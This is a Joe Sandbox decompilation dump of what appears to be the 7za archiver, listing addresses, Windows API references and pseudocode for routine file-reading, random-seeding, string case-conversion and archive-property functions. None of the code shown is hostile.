0x0046cc66
0x00000000
0x0046cc2e
0x0046cae7
0x0046caea
0x0046caec
0x0046caee
0x0046cafa
0x0046caf0
0x0046caf3
0x0046caf3
0x0046cafb
0x0046cafb
0x0046cafe
0x0046cafe
0x0046cb01
0x0046cb04
0x0046cb0c
0x0046cb11
0x0046cb12
0x0046cb22
0x0046cb27
0x0046cb2a
0x0046cb2c
0x0046cb2f
0x0046cb31
0x0046cbf1
0x0046cb37
0x0046cb37
0x0046cb3d
0x0046cb41
0x0046cb4c
0x0046cb51
0x0046cb54
0x0046cb56
0x0046cb61
0x0046cb67
0x0046cb6a
0x0046cb6c
0x0046cb71
0x0046cb74
0x0046cb77
0x0046cb79
0x0046cb7b
0x0046cb7b
0x0046cb84
0x0046cb90
0x0046cb95
0x0046cb95
0x0046cb58
0x0046cb5b
0x0046cb5b
0x0046cb98
0x0046cb98
0x0046cb9b
0x0046cb9f
0x0046cbaa
0x0046cbb0
0x0046cbb3
0x0046cbb5
0x0046cbba
0x0046cbbd
0x0046cbc0
0x0046cbc2
0x0046cbc4
0x0046cbc4
0x0046cbcb
0x0046cbd7
0x0046cbdc
0x0046cbdc
0x0046cbb5
0x0046cb9f
0x0046cbf4
0x0046cbf4
0x0046cbf4
0x0046cbf8
0x0046cbf8
0x0046cbfd
0x0046cc00
0x0046cc02
0x00000000
0x00000000
0x0046cc04
0x0046cc0a
0x00000000
0x00000000
0x0046cc0d
0x0046cc13
0x0046cc15
0x00000000
0x00000000
0x00000000
0x0046cc1b
0x00000000
0x00000000
0x00000000
0x00000000
0x0046c9a5
0x0046c9a5
0x0046c9a5
0x0046c9a8
0x0046c9ab
0x0046caa2
0x0046caa2
0x0046caa5
0x0046caa7
0x00000000
0x00000000
0x0046caad
0x0046cab3
0x00000000
0x00000000
0x00000000
0x0046cab3
0x0046c9b3
0x0046c9b9
0x0046c9bd
0x0046c9c3
0x0046c9c6
0x0046c9c8
0x0046ca72
0x0046ca72
0x0046ca76
0x0046ca7b
0x0046ca7e
0x0046ca80
0x0046ca82
0x0046ca86
0x0046ca86
0x0046ca8a
0x0046ca8a
0x0046ca8d
0x0046ca9f
0x0046ca9f
0x00000000
0x0046ca7e
0x0046c9ce
0x0046c9d4
0x0046c9d6
0x0046c9d7
0x0046c9d8
0x0046c9d9
0x0046c9de
0x0046c9e1
0x0046c9e3
0x0046c9ea
0x0046c9eb
0x0046c9f1
0x0046c9f4
0x0046c9f6
0x0046c9fb
0x0046c9fc
0x0046c9ff
0x0046ca01
0x0046ca03
0x0046ca03
0x0046ca0a
0x0046ca10
0x0046ca15
0x0046ca18
0x0046ca19
0x0046ca1a
0x0046ca1f
0x0046ca1f
0x0046c9e5
0x0046c9e5
0x0046c9e5
0x0046c9e3
0x0046ca22
0x0046ca25
0x0046ca27
0x0046ca29
0x0046ca2d
0x0046ca2e
0x0046ca2e
0x0046ca34
0x0046ca37
0x0046ca42
0x0046ca48
0x0046ca4b
0x0046ca4d
0x0046ca52
0x0046ca53
0x0046ca56
0x0046ca58
0x0046ca5a
0x0046ca5a
0x0046ca61
0x0046ca66
0x0046ca67
0x0046ca6a
0x0046ca6f
0x0046ca6f
0x0046ca4d
0x00000000
0x0046cab9
0x0046caba
0x0046cac0
0x0046cac0
0x00000000
0x0046c98b
0x0046c98c
0x0046cc68
0x0046cc68
0x0046cc68
0x00000000
0x0046cc68
0x0046c976
0x0046c979
0x0046cc6a
0x0046cc6d
0x0046cc78
0x0046cc78

APIs

HeapReAlloc.KERNEL32(00000000,?,?), ref: 0046CC4B

Part of subcall function 0046C0FF: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0046C1D3

Part of subcall function 0046BFC5: __nh_malloc.LIBC ref: 0046BFCF

HeapAlloc.KERNEL32(00000000,?), ref: 0046CA42

Part of subcall function 0046EB36: VirtualFree.KERNEL32(?,00008000,00004000,00000000,00000000,00000000,00000000), ref: 0046ED8E
Part of subcall function 0046EB36: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0046EDE9
Part of subcall function 0046EB36: HeapFree.KERNEL32(00000000,?), ref: 0046EDFB

HeapReAlloc.KERNEL32(00000000,?,?), ref: 0046CA99

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

Part of subcall function 0046F902: VirtualAlloc.KERNEL32(000000FF,00000000,00001000,00000004,00000000,00000010,00000000,00000009,00000009,?,0046C0AF,00000010,00000000,?), ref: 0046FA3D

HeapAlloc.KERNEL32(00000000,?), ref: 0046CBAA
HeapReAlloc.KERNEL32(00000000,?,?), ref: 0046CBEB

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0047143F, Relevance: 6.2, APIs: 4, Instructions: 170

C-Code - Quality: 100%

			E0047143F(signed int _a4, signed int _a8, long _a12) {
				void _v5;
				signed int _v12;
				long _v16;
				signed int _t75;
				void* _t78;
				intOrPtr _t82;
				signed char _t83;
				signed char _t85;
				long _t86;
				void* _t88;
				signed char _t90;
				signed char _t91;
				signed int _t95;
				intOrPtr _t96;
				char _t98;
				signed int _t99;
				long _t101;
				long _t102;
				signed int _t103;
				intOrPtr _t106;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed char _t112;
				signed char* _t113;
				long _t115;
				void* _t119;
				signed int _t120;
				intOrPtr* _t121;
				signed int _t123;
				signed char* _t124;
				void* _t125;
				void* _t126;

				_v12 = _v12 & 0x00000000;
				_t108 = _a8;
				_t119 = _t108;
				if(_a12 == 0) {
					L42:
					__eflags = 0;
					return 0;
				}
				_t75 = _a4;
				_t111 = _t75 >> 5;
				_t121 = 0x496460 + _t111 * 4;
				_t123 = (_t75 & 0x0000001f) + (_t75 & 0x0000001f) * 8 << 2;
				_t78 =  *((intOrPtr*)(0x496460 + _t111 * 4)) + _t123;
				_t112 =  *((intOrPtr*)(_t78 + 4));
				if((_t112 & 0x00000002) != 0) {
					goto L42;
				}
				if((_t112 & 0x00000048) != 0) {
					_t106 =  *((intOrPtr*)(_t78 + 5));
					if(_t106 != 0xa) {
						_a12 = _a12 - 1;
						 *_t108 = _t106;
						_t20 = _t108 + 1; // 0x4
						_t119 = _t20;
						_v12 = 1;
						 *((char*)( *_t121 + _t123 + 5)) = 0xa;
					}
				}
				if(ReadFile( *( *_t121 + _t123), _t119, _a12,  &_v16, 0) != 0) {
					_t82 =  *_t121;
					_t120 = _v16;
					_v12 = _v12 + _t120;
					_t31 = _t123 + 4; // 0x4
					_t113 = _t82 + _t31;
					_t83 =  *((intOrPtr*)(_t82 + _t123 + 4));
					__eflags = _t83 & 0x00000080;
					if((_t83 & 0x00000080) == 0) {
						L41:
						return _v12;
					}
					__eflags = _t120;
					if(_t120 == 0) {
						L15:
						_t85 = _t83 & 0x000000fb;
						__eflags = _t85;
						L16:
						 *_t113 = _t85;
						_t86 = _a8;
						_a12 = _t86;
						_t115 = _v12 + _t86;
						__eflags = _t86 - _t115;
						_v12 = _t115;
						if(_t86 >= _t115) {
							L40:
							_t109 = _t108 - _a8;
							__eflags = _t109;
							_v12 = _t109;
							goto L41;
						} else {
							goto L17;
						}
						while(1) {
							L17:
							_t88 =  *_a12;
							__eflags = _t88 - 0x1a;
							if(_t88 == 0x1a) {
								break;
							}
							__eflags = _t88 - 0xd;
							if(_t88 == 0xd) {
								__eflags = _a12 - _t115 - 1;
								if(_a12 >= _t115 - 1) {
									_a12 = _a12 + 1;
									_t95 = ReadFile( *( *_t121 + _t123),  &_v5, 1,  &_v16, 0);
									__eflags = _t95;
									if(_t95 != 0) {
										L26:
										__eflags = _v16;
										if(_v16 == 0) {
											L34:
											 *_t108 = 0xd;
											L35:
											_t108 = _t108 + 1;
											__eflags = _t108;
											L36:
											_t115 = _v12;
											__eflags = _a12 - _t115;
											if(_a12 < _t115) {
												continue;
											}
											goto L40;
										}
										_t96 =  *_t121;
										__eflags =  *(_t96 + _t123 + 4) & 0x00000048;
										if(( *(_t96 + _t123 + 4) & 0x00000048) == 0) {
											__eflags = _t108 - _a8;
											if(__eflags != 0) {
												L33:
												E004716C1(__eflags, _a4, 0xffffffff, 1);
												_t126 = _t126 + 0xc;
												__eflags = _v5 - 0xa;
												if(_v5 == 0xa) {
													goto L36;
												}
												goto L34;
											}
											__eflags = _v5 - 0xa;
											if(__eflags != 0) {
												goto L33;
											}
											L32:
											 *_t108 = 0xa;
											goto L35;
										}
										_t98 = _v5;
										__eflags = _t98 - 0xa;
										if(_t98 == 0xa) {
											goto L32;
										}
										 *_t108 = 0xd;
										_t108 = _t108 + 1;
										 *((char*)( *_t121 + _t123 + 5)) = _t98;
										goto L36;
									}
									_t99 = GetLastError();
									__eflags = _t99;
									if(_t99 != 0) {
										goto L34;
									}
									goto L26;
								}
								_t101 = _a12 + 1;
								__eflags =  *_t101 - 0xa;
								if( *_t101 != 0xa) {
									 *_t108 = 0xd;
									_t108 = _t108 + 1;
									_a12 = _t101;
									goto L36;
								}
								_a12 = _a12 + 2;
								goto L32;
							}
							 *_t108 = _t88;
							_t108 = _t108 + 1;
							_a12 = _a12 + 1;
							goto L36;
						}
						_t124 =  *_t121 + _t123 + 4;
						_t90 =  *_t124;
						__eflags = _t90 & 0x00000040;
						if((_t90 & 0x00000040) == 0) {
							_t91 = _t90 | 0x00000002;
							__eflags = _t91;
							 *_t124 = _t91;
						}
						goto L40;
					}
					__eflags =  *_t108 - 0xa;
					if( *_t108 != 0xa) {
						goto L15;
					}
					_t85 = _t83 | 0x00000004;
					goto L16;
				}
				_t102 = GetLastError();
				_t125 = 5;
				if(_t102 != _t125) {
					__eflags = _t102 - 0x6d;
					if(_t102 == 0x6d) {
						goto L42;
					}
					_t103 = E004705D3(_t102);
					L10:
					return _t103 | 0xffffffff;
				}
				 *((intOrPtr*)(E00470646())) = 9;
				_t103 = E0047064F();
				 *_t103 = _t125;
				goto L10;
			}

0x00471445
0x0047144e
0x00471453
0x00471455
0x00471611
0x00471611
0x00000000
0x00471611
0x0047145b
0x00471463
0x00471470
0x00471477
0x0047147a
0x0047147c
0x00471482
0x00000000
0x00000000
0x0047148b
0x0047148d
0x00471492
0x00471494
0x00471497
0x0047149b
0x0047149b
0x0047149e
0x004714a5
0x004714a5
0x00471492
0x004714c1
0x004714fc
0x004714fe
0x00471501
0x00471504
0x00471504
0x00471508
0x0047150c
0x0047150e
0x0047160c
0x00000000
0x0047160c
0x00471514
0x00471516
0x00471521
0x00471521
0x00471521
0x00471523
0x00471523
0x00471525
0x0047152b
0x0047152e
0x00471530
0x00471532
0x00471535
0x00471606
0x00471606
0x00471606
0x00471609
0x00000000
0x00000000
0x00000000
0x00000000
0x0047153b
0x0047153b
0x0047153e
0x00471540
0x00471542
0x00000000
0x00000000
0x00471548
0x0047154a
0x00471558
0x0047155b
0x0047157b
0x00471589
0x0047158f
0x00471591
0x0047159d
0x0047159d
0x004715a1
0x004715e4
0x004715e4
0x004715e7
0x004715e7
0x004715e7
0x004715e8
0x004715e8
0x004715eb
0x004715ee
0x00000000
0x00000000
0x00000000
0x004715f4
0x004715a3
0x004715a5
0x004715aa
0x004715bf
0x004715c2
0x004715cf
0x004715d6
0x004715db
0x004715de
0x004715e2
0x00000000
0x00000000
0x00000000
0x004715e2
0x004715c4
0x004715c8
0x00000000
0x00000000
0x004715ca
0x004715ca
0x00000000
0x004715ca
0x004715ac
0x004715af
0x004715b1
0x00000000
0x00000000
0x004715b3
0x004715b8
0x004715b9
0x00000000
0x004715b9
0x00471593
0x00471599
0x0047159b
0x00000000
0x00000000
0x00000000
0x0047159b
0x00471560
0x00471561
0x00471564
0x0047156c
0x0047156f
0x00471570
0x00000000
0x00471570
0x00471566
0x00000000
0x00471566
0x0047154c
0x0047154e
0x0047154f
0x00000000
0x0047154f
0x004715f8
0x004715fc
0x004715fe
0x00471600
0x00471602
0x00471602
0x00471604
0x00471604
0x00000000
0x00471600
0x00471518
0x0047151b
0x00000000
0x00000000
0x0047151d
0x00000000
0x0047151d
0x004714c3
0x004714cb
0x004714ce
0x004714e4
0x004714e7
0x00000000
0x00000000
0x004714ee
0x004714f4
0x00000000
0x004714f4
0x004714d5
0x004714db
0x004714e0
0x00000000

APIs

ReadFile.KERNEL32(00000003,00000003,00000000,00000003,00000000), ref: 004714B9
GetLastError.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,Function_00007CCD), ref: 004714C3
ReadFile.KERNEL32(?,?,00000001,00000003,00000000), ref: 00471589
GetLastError.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,Function_00007CCD), ref: 00471593

Part of subcall function 004716C1: SetFilePointer.KERNEL32(00000000,?,00000000,00000000,00000000,?,0047037D,?,00000000,00000002,00000001,?,?), ref: 004716EB
Part of subcall function 004716C1: GetLastError.KERNEL32 ref: 004716F8

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00456AB0, Relevance: 6.1, APIs: 4, Instructions: 70

C-Code - Quality: 65%

			E00456AB0(void* __ecx, void* __eflags) {
				char _v72;
				char _v100;
				char _v104;
				char _v112;
				char _v120;
				char _v124;
				union _LARGE_INTEGER _v128;
				long _v132;
				intOrPtr _v136;
				char _v140;
				intOrPtr _v156;
				long _t28;
				int _t30;
				long _t31;
				intOrPtr _t37;
				void* _t38;
				void* _t55;
				void* _t56;

				_t56 = __ecx;
				E00456CC0( &_v104);
				_v72 = 0;
				_v124 = GetCurrentProcessId();
				_push(4);
				_push( &_v124);
				E004574D0( &_v104);
				_t28 = GetCurrentThreadId();
				_push(4);
				_push( &_v132);
				_v132 = _t28;
				E004574D0( &_v112);
				_v136 = 0x3e8;
				do {
					_t54 =  &_v128;
					_t30 = QueryPerformanceCounter( &_v128);
					_t61 = _t30;
					if(_t30 != 0) {
						_push(8);
						_push( &_v128);
						E004574D0( &_v120);
					}
					_t31 = GetTickCount();
					_push(4);
					_push( &_v132);
					_v132 = _t31;
					E004574D0( &_v120);
					_t55 = 0x64;
					do {
						_push(_t56);
						E00457570( &_v128, _t54, _t61);
						E00456CC0( &_v132);
						_push(0x14);
						_push(_t56);
						_v100 = 0;
						E004574D0( &_v132);
						_t55 = _t55 - 1;
					} while (_t55 != 0);
					_t37 = _v156 - 1;
					_t63 = _t37;
					_v156 = _t37;
				} while (_t37 != 0);
				_push(_t56);
				_t38 = E00457570( &_v140, _t54, _t63);
				 *((char*)(_t56 + 0x14)) = 0;
				return _t38;
			}

0x00456ab6
0x00456abd
0x00456ac4
0x00456ace
0x00456ad6
0x00456ad8
0x00456add
0x00456ae2
0x00456aec
0x00456aee
0x00456af3
0x00456af7
0x00456b02
0x00456b0a
0x00456b0a
0x00456b0f
0x00456b15
0x00456b17
0x00456b1d
0x00456b1f
0x00456b24
0x00456b24
0x00456b29
0x00456b2f
0x00456b31
0x00456b36
0x00456b3a
0x00456b3f
0x00456b44
0x00456b44
0x00456b49
0x00456b52
0x00456b57
0x00456b59
0x00456b5e
0x00456b62
0x00456b67
0x00456b67
0x00456b6e
0x00456b6e
0x00456b6f
0x00456b6f
0x00456b75
0x00456b7a
0x00456b7f
0x00456b89

APIs

GetCurrentProcessId.KERNEL32(00000000,00491548,?,00000000), ref: 00456AC8
GetCurrentThreadId.KERNEL32(?,00000004,?,00000000), ref: 00456AE2
QueryPerformanceCounter.KERNEL32(?), ref: 00456B0F
GetTickCount.KERNEL32(?,00000008), ref: 00456B29

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00407F80, Relevance: 6.1, APIs: 4, Instructions: 64

C-Code - Quality: 80%

			E00407F80(WCHAR* __ecx) {
				signed int _t18;
				long _t19;
				intOrPtr* _t25;
				signed int _t30;
				short _t38;
				short* _t43;
				signed int _t46;
				void* _t48;

				E0046B890(E004737F0, _t48);
				_t46 = __ecx;
				if(__ecx != 0) {
					_t30 = CharLowerW(__ecx);
					__eflags = _t30;
					if(_t30 != 0) {
						L8:
						_t18 = _t30;
					} else {
						_t19 = GetLastError();
						__eflags = _t19 - 0x78;
						if(_t19 != 0x78) {
							goto L8;
						} else {
							E00403532(_t48 - 0x24, _t46);
							_t2 = _t48 - 4;
							 *_t2 =  *(_t48 - 4) & _t30;
							__eflags =  *_t2;
							_push(_t30);
							E0040822F(_t48 - 0x18);
							 *(_t48 - 4) = 2;
							E00407A18( *((intOrPtr*)(_t48 - 0x24)));
							CharLowerA( *(_t48 - 0x18));
							_t25 =  *((intOrPtr*)(E004080C7(_t48 - 0x30, _t48 - 0x18, __eflags, _t30)));
							_t43 = _t46 + 2;
							_t38 =  *_t25;
							 *_t46 = _t38;
							while(1) {
								_t25 = _t25 + 2;
								__eflags = _t38;
								if(_t38 == 0) {
									break;
								}
								_t38 =  *_t25;
								 *_t43 = _t38;
								_t43 = _t43 + 2;
							}
							E00407A18( *((intOrPtr*)(_t48 - 0x30)));
							E00407A18( *(_t48 - 0x18));
							_t18 = _t46;
						}
					}
				} else {
					_t18 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t48 - 0xc));
				return _t18;
			}

0x00407f85
0x00407f8f
0x00407f93
0x00407fa3
0x00407fa5
0x00407fa7
0x00408020
0x00408020
0x00407fa9
0x00407fa9
0x00407faf
0x00407fb2
0x00000000
0x00407fb4
0x00407fb8
0x00407fbd
0x00407fbd
0x00407fbd
0x00407fc0
0x00407fc7
0x00407fcf
0x00407fd3
0x00407fdc
0x00407fee
0x00407ff0
0x00407ff3
0x00407ff6
0x00407ff9
0x00407ffa
0x00407ffb
0x00407ffe
0x00000000
0x00000000
0x00408000
0x00408003
0x00408007
0x00408007
0x0040800d
0x00408015
0x0040801b
0x0040801d
0x00407fb2
0x00407f95
0x00407f95
0x00407f95
0x00408027
0x0040802f

APIs

__EH_prolog.LIBCMT ref: 00407F85
CharLowerW.USER32 ref: 00407F9D
GetLastError.KERNEL32 ref: 00407FA9
CharLowerA.USER32(?), ref: 00407FDC

Part of subcall function 004080C7: __EH_prolog.LIBCMT ref: 004080CC
Part of subcall function 004080C7: MultiByteToWideChar.KERNEL32(?,00000000,?,00000002,?,?,00000003,59@,?,00000000,?,?,?,?,00000000), ref: 0040811C
Part of subcall function 004080C7: __CxxThrowException@8.LIBC ref: 00408136

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00407ED0, Relevance: 6.1, APIs: 4, Instructions: 64

C-Code - Quality: 80%

			E00407ED0(WCHAR* __ecx) {
				signed int _t18;
				long _t19;
				intOrPtr* _t25;
				signed int _t30;
				short _t38;
				short* _t43;
				signed int _t46;
				void* _t48;

				E0046B890(E004737D4, _t48);
				_t46 = __ecx;
				if(__ecx != 0) {
					_t30 = CharUpperW(__ecx);
					__eflags = _t30;
					if(_t30 != 0) {
						L8:
						_t18 = _t30;
					} else {
						_t19 = GetLastError();
						__eflags = _t19 - 0x78;
						if(_t19 != 0x78) {
							goto L8;
						} else {
							E00403532(_t48 - 0x24, _t46);
							_t2 = _t48 - 4;
							 *_t2 =  *(_t48 - 4) & _t30;
							__eflags =  *_t2;
							_push(_t30);
							E0040822F(_t48 - 0x18);
							 *(_t48 - 4) = 2;
							E00407A18( *((intOrPtr*)(_t48 - 0x24)));
							CharUpperA( *(_t48 - 0x18));
							_t25 =  *((intOrPtr*)(E004080C7(_t48 - 0x30, _t48 - 0x18, __eflags, _t30)));
							_t43 = _t46 + 2;
							_t38 =  *_t25;
							 *_t46 = _t38;
							while(1) {
								_t25 = _t25 + 2;
								__eflags = _t38;
								if(_t38 == 0) {
									break;
								}
								_t38 =  *_t25;
								 *_t43 = _t38;
								_t43 = _t43 + 2;
							}
							E00407A18( *((intOrPtr*)(_t48 - 0x30)));
							E00407A18( *(_t48 - 0x18));
							_t18 = _t46;
						}
					}
				} else {
					_t18 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t48 - 0xc));
				return _t18;
			}

0x00407ed5
0x00407edf
0x00407ee3
0x00407ef3
0x00407ef5
0x00407ef7
0x00407f70
0x00407f70
0x00407ef9
0x00407ef9
0x00407eff
0x00407f02
0x00000000
0x00407f04
0x00407f08
0x00407f0d
0x00407f0d
0x00407f0d
0x00407f10
0x00407f17
0x00407f1f
0x00407f23
0x00407f2c
0x00407f3e
0x00407f40
0x00407f43
0x00407f46
0x00407f49
0x00407f4a
0x00407f4b
0x00407f4e
0x00000000
0x00000000
0x00407f50
0x00407f53
0x00407f57
0x00407f57
0x00407f5d
0x00407f65
0x00407f6b
0x00407f6d
0x00407f02
0x00407ee5
0x00407ee5
0x00407ee5
0x00407f77
0x00407f7f

APIs

__EH_prolog.LIBCMT ref: 00407ED5
CharUpperW.USER32 ref: 00407EED
GetLastError.KERNEL32(?,?,00000000), ref: 00407EF9
CharUpperA.USER32(?), ref: 00407F2C

Part of subcall function 004080C7: __EH_prolog.LIBCMT ref: 004080CC
Part of subcall function 004080C7: MultiByteToWideChar.KERNEL32(?,00000000,?,00000002,?,?,00000003,59@,?,00000000,?,?,?,?,00000000), ref: 0040811C
Part of subcall function 004080C7: __CxxThrowException@8.LIBC ref: 00408136

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043B137, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 350

C-Code - Quality: 70%

			E0043B137(intOrPtr __edx) {
				intOrPtr _t120;
				signed int _t121;
				signed int _t128;
				signed int _t131;
				signed int _t133;
				signed int _t146;
				intOrPtr* _t147;
				signed int _t159;
				signed char _t160;
				intOrPtr _t161;
				signed int _t164;
				intOrPtr* _t167;
				signed int _t171;
				signed int _t172;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				void* _t180;
				signed int _t183;
				signed int _t184;
				int _t187;
				void* _t189;
				void* _t192;
				intOrPtr* _t193;
				void* _t196;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t206;
				signed int _t220;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t234;
				signed short _t268;
				signed char* _t271;
				void* _t274;
				void* _t276;
				void* _t279;

				_t261 = __edx;
				E0046B890(E0047860C, _t274);
				 *((intOrPtr*)(_t274 - 0x10)) = _t276 - 0x80;
				 *(_t274 - 4) = 0;
				 *((short*)(_t274 - 0x6c)) = 0;
				 *((short*)(_t274 - 0x6a)) = 0;
				 *(_t274 - 4) = 1;
				_t271 =  *( *((intOrPtr*)( *((intOrPtr*)(_t274 + 8)) + 0x1c)) +  *(_t274 + 0xc) * 4);
				_t120 =  *((intOrPtr*)(_t274 + 0x10));
				_t279 = _t120 - 0xc;
				if(_t279 > 0) {
					_t121 = _t120 - 0xf;
					__eflags = _t121;
					if(_t121 == 0) {
						_t123 = _t271[2] & 0x00000001;
						__eflags = _t271[2] & 0x00000001;
						L84:
						E0040C13B(_t274 - 0x6c, _t123);
						L85:
						E0040C2B2(_t274 - 0x6c, _t287,  *((intOrPtr*)(_t274 + 0x14)));
						 *(_t274 - 4) =  *(_t274 - 4) & 0x00000000;
						E0040C20F(_t274 - 0x6c);
						 *[fs:0x0] =  *((intOrPtr*)(_t274 - 0xc));
						return 0;
					}
					_t128 = _t121 - 4;
					__eflags = _t128;
					if(_t128 == 0) {
						__eflags = E0043B787(_t271, __edx);
						if(__eflags == 0) {
							goto L85;
						}
						_push(_t271[0xc]);
						L40:
						E0040C1A0(_t274 - 0x6c);
						goto L85;
					}
					_t131 = _t128 - 3;
					__eflags = _t131;
					if(_t131 == 0) {
						_t268 = _t271[4];
						 *((intOrPtr*)(_t274 - 0x2c)) = 0;
						 *((intOrPtr*)(_t274 - 0x28)) = 0;
						 *((intOrPtr*)(_t274 - 0x24)) = 0;
						E00401EEE(_t274 - 0x2c, 3);
						__eflags = _t271[2] & 0x00000001;
						 *(_t274 - 4) = 6;
						if((_t271[2] & 0x00000001) == 0) {
							L64:
							__eflags = _t268 - 0xb;
							if(_t268 >= 0xb) {
								L66:
								_t133 = _t268 & 0x0000ffff;
								_t220 = _t133 - 0xc;
								__eflags = _t220;
								if(_t220 == 0) {
									_push( *0x48d500);
									L78:
									E00435B13(_t274 - 0x2c, _t261);
									L79:
									E0040C0D3(_t274 - 0x6c, __eflags,  *((intOrPtr*)(_t274 - 0x2c)));
									 *(_t274 - 4) = 1;
									E00407A18( *((intOrPtr*)(_t274 - 0x2c)));
									L80:
									goto L85;
								}
								_t225 = _t220;
								__eflags = _t225;
								if(_t225 == 0) {
									E00435B13(_t274 - 0x2c, _t261,  *0x48d504);
									__eflags = _t271[2] >> 0x00000001 & 0x00000001;
									if(__eflags == 0) {
										goto L79;
									}
									_push(":EOS");
									goto L78;
								}
								_t227 = _t225 - 0x52;
								__eflags = _t227;
								if(_t227 == 0) {
									_push( *0x48d508);
								} else {
									_t228 = _t227 - 1;
									__eflags = _t228;
									if(_t228 == 0) {
										_push( *0x48d50c);
									} else {
										__eflags = _t228 == 1;
										if(_t228 == 1) {
											_push( *0x48d510);
										} else {
											asm("cdq");
											_push(_t261);
											_push(_t133);
											_t261 = 0xa;
											E004075FF(_t274 - 0x8c, _t261);
											_push(_t274 - 0x8c);
										}
									}
								}
								goto L78;
							}
							_push( *((intOrPtr*)(0x48d4d4 + (_t268 & 0x0000ffff) * 4)));
							goto L78;
						}
						__eflags = _t268 - 0x63;
						if(_t268 != 0x63) {
							__eflags = _t271[2] & 0x00000040;
							if((_t271[2] & 0x00000040) == 0) {
								_push( *0x48d518);
								L62:
								E00435B13(_t274 - 0x2c, _t261);
								L63:
								E00406ACF(_t274 - 0x2c, _t261, __eflags, 0x20);
								goto L64;
							}
							_t146 = E0043B600( &(_t271[0x68]), _t274 - 0x20);
							__eflags = _t146;
							if(_t146 == 0) {
								L60:
								_push( *0x48d51c);
								goto L62;
							}
							_t234 = 0;
							__eflags = 0;
							while(1) {
								__eflags = _t234 - 0xb;
								if(_t234 >= 0xb) {
									break;
								}
